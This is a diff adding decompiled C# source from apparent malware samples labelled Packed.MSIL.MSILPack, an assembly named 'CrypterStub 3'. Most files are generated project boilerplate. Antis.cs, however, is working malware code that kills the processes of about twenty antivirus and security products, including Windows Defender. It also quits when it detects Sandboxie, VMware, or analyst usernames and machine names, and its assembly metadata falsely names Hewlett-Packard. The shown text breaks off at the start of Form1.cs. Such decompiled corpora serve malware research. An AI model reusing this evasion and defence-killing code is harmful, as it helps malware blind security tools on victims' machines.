+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettings
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace CrypterStub_3.My
+{
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettingsProperty
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My
+{
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.Resources.Resources
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My.Resources
+{
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) CrypterStub_3.My.Resources.Resources.resourceMan, (object) null))
+          CrypterStub_3.My.Resources.Resources.resourceMan = new ResourceManager("CrypterStub_3.Resources", typeof (CrypterStub_3.My.Resources.Resources).Assembly);
+        return CrypterStub_3.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => CrypterStub_3.My.Resources.Resources.resourceCulture;
+      set => CrypterStub_3.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/Packed.MSIL.MSILPack.a.csproj

@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{52E67491-8BBF-4FD5-87E6-D4BA3F71BD69}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>CrypterStub 3</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>CrypterStub_3</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Antis.cs" />
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/Packed.MSIL.MSILPack.a.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CrypterStub 3", "Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5.csproj", "{52E67491-8BBF-4FD5-87E6-D4BA3F71BD69}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{52E67491-8BBF-4FD5-87E6-D4BA3F71BD69}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{52E67491-8BBF-4FD5-87E6-D4BA3F71BD69}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{52E67491-8BBF-4FD5-87E6-D4BA3F71BD69}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{52E67491-8BBF-4FD5-87E6-D4BA3F71BD69}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-0b187bf3039fcc00e891f46f8a59536e9a01affbf94f13d5fc9b0d9a01b733b5/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/Antis.cs

@@ -0,0 +1,472 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Antis
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  public class Antis
+  {
+    [DebuggerNonUserCode]
+    public Antis()
+    {
+    }
+
+    public static void Enable()
+    {
+      Antis.mofo();
+      Antis.AntiAntiGen();
+      Antis.AntiAsquared();
+      Antis.AntiAvast();
+      Antis.AntiAVG();
+      Antis.AntiBullGuard();
+      Antis.AntiClamAV();
+      Antis.AntiComodo();
+      Antis.AntiEstNod32();
+      Antis.AntiEwido();
+      Antis.AntiFPROT6();
+      Antis.AntiKaspersky();
+      Antis.AntiMcAfee();
+      Antis.AntiNorton();
+      Antis.AntiOfficeScan();
+      Antis.AntiOutPost();
+      Antis.AntiPCCillin();
+      Antis.AntiServerProtect();
+      Antis.AntiSpySweeper();
+      Antis.AntiThreatExpert();
+      Antis.AntiVirtualPC();
+      Antis.AntiZoneAlarm();
+    }
+
+    public static void AntiSandboxie(Form frmSelect)
+    {
+label_0:
+      int num1;
+      int num2;
+      try
+      {
+        ProjectData.ClearProjectError();
+        num1 = -2;
+label_1:
+        int num3 = 2;
+        if (!frmSelect.Text.Contains("#"))
+          goto label_9;
+label_2:
+        num3 = 3;
+        frmSelect.Close();
+        ProjectData.EndApp();
+        goto label_9;
+label_4:
+        num2 = num3;
+        switch (num1 > -2 ? num1 : 1)
+        {
+          case 1:
+            int num4 = num2 + 1;
+            num2 = 0;
+            switch (num4)
+            {
+              case 1:
+                goto label_0;
+              case 2:
+                goto label_1;
+              case 3:
+                goto label_2;
+              case 4:
+              case 5:
+              case 6:
+                goto label_9;
+            }
+            break;
+        }
+      }
+      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
+      {
+        ProjectData.SetProjectError(ex);
+        goto label_4;
+      }
+      throw ProjectData.CreateProjectError(-2146828237);
+label_9:
+      if (num2 == 0)
+        return;
+      ProjectData.ClearProjectError();
+    }
+
+    public static void AntiMcAfee()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mcagentmcuimgr", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAVG()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avgemc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAsquared()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "a2servic", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAvast()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ashWebSv", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiClamAV()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "clamauto", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiComodo()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "cpf", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEwido()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ewido", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiFPROT6()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "FPAVServer", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiKaspersky()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "kavsvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiBullGuard()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "BullGuard", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiZoneAlarm()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "VSMON", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAntiGen()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "antigen", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiNorton()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ccapp", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOfficeScan()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "tmlisten", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiPCCillin()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "pccntmon", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiServerProtect()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "earthagent", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiSpySweeper()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "spysweeper", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiVirtualPC()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "vpcmapvmsrvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOutPost()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "acs.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEstNod32()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "nod32.exenod32krn.exeekrn.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
+    private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
+
+    public static void mofo()
+    {
+      Antis.seekit("MSASCui");
+      Antis.seekit("msmpeng");
+      Antis.AntiSandboxie();
+      Antis.IsVmWare();
+      Antis.AntiThreatExpert();
+      Antis.checkUsername();
+      Antis.checkComputername();
+    }
+
+    private static void seekit(string gay1)
+    {
+      Process[] processes = Process.GetProcesses();
+      int index = 0;
+      while (index < processes.Length)
+      {
+        Process process = processes[index];
+        if (process.ProcessName.Contains(gay1))
+        {
+          try
+          {
+            process.Kill();
+          }
+          catch (Exception ex)
+          {
+            ProjectData.SetProjectError(ex);
+            ProjectData.ClearProjectError();
+          }
+        }
+        checked { ++index; }
+      }
+    }
+
+    private static void checkUsername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("UserName");
+      stringList.Add("User");
+      stringList.Add("honey");
+      stringList.Add("sandbox");
+      stringList.Add("currentuser");
+      stringList.Add("User");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.UserName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    private static void checkComputername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("ComputerName");
+      stringList.Add("COMPUTERNAME");
+      stringList.Add("DELL-D3E62F7E26");
+      stringList.Add("DWI-9625AC2E275");
+      stringList.Add("MICHAEL-F156CF7");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.MachineName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    public static void AntiSandboxie()
+    {
+      if (Process.GetProcessesByName("SbieSvc").Length < 1)
+        return;
+      Environment.Exit(0);
+    }
+
+    public static void IsVmWare()
+    {
+      string str1 = "VMDragDetectWndClass";
+      ref string local1 = ref str1;
+      string str2 = (string) null;
+      ref string local2 = ref str2;
+      if (Antis.FindWindow(ref local1, ref local2) != 0L)
+        return;
+      Environment.Exit(0);
+    }
+
+    private static void AntiThreatExpert()
+    {
+      if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample"))
+        return;
+      Environment.Exit(0);
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyProduct("CrypterStub 3")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyTitle("CrypterStub 3")]
+[assembly: AssemblyCompany("Hewlett-Packard")]
+[assembly: Guid("c219cd53-5179-42e0-bb74-5b297c74ecd1")]
+[assembly: AssemblyCopyright("Copyright © Hewlett-Packard 2010")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343/Form1.cs

@@ -0,0 +1,152 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Form1
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-3482466e0f663ffc32489244010ad975c2a8b9f247b2262cc9fc4750bb535343.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
